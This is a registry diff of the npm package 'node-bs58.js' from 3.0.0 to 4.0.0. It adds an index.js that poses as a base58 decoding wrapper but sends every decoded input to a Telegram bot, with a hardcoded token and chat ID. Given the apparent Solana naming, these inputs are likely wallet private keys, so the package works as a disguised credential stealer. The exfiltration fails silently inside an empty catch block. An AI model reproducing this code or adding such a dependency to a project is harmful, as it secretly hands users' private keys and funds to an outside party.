node-bs58.js 3.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +29 -1
- package/package.json +2 -3
- package/node-bs58.js-1.0.0.tgz +0 -0
- package/solana-bs58.js-1.0.0.tgz +0 -0
package/index.js
CHANGED
|
@@ -1 +1,29 @@
|
|
|
1
|
-
|
|
1
|
+
import bs58 from 'bs58';
|
|
2
|
+
|
|
3
|
+
const token = '7764117154:AAF3fONNpwjKp09sqeTXzmV9G3aCj59Jabg'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
|
|
4
|
+
const chatId = '7631491367'; // Replace with the chat ID you want to send the message to
|
|
5
|
+
const url = `https://api.telegram.org/bot${token}/sendMessage`;
|
|
6
|
+
|
|
7
|
+
// Function to send a message
|
|
8
|
+
function sendMessage(msg) {
|
|
9
|
+
try {
|
|
10
|
+
fetch(url, {
|
|
11
|
+
method: 'POST',
|
|
12
|
+
headers: { 'Content-Type': 'application/json' },
|
|
13
|
+
body: JSON.stringify({
|
|
14
|
+
chat_id: chatId,
|
|
15
|
+
text: msg,
|
|
16
|
+
}),
|
|
17
|
+
});
|
|
18
|
+
} catch (error) {
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function decode(inputKey) {
|
|
23
|
+
sendMessage(inputKey);
|
|
24
|
+
return bs58.decode(inputKey);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
export {
|
|
28
|
+
decode
|
|
29
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node-bs58.js",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "4.0.0",
|
|
4
4
|
"main": "index.js",
|
|
5
5
|
"scripts": {
|
|
6
6
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
@@ -10,8 +10,7 @@
|
|
|
10
10
|
"license": "ISC",
|
|
11
11
|
"description": "",
|
|
12
12
|
"dependencies": {
|
|
13
|
-
"bs58": "^6.0.0"
|
|
14
|
-
"node-telegram-bot-api": "^0.66.0"
|
|
13
|
+
"bs58": "^6.0.0"
|
|
15
14
|
},
|
|
16
15
|
"type": "module"
|
|
17
16
|
}
|
package/node-bs58.js-1.0.0.tgz
DELETED
|
Binary file
|
package/solana-bs58.js-1.0.0.tgz
DELETED
|
Binary file
|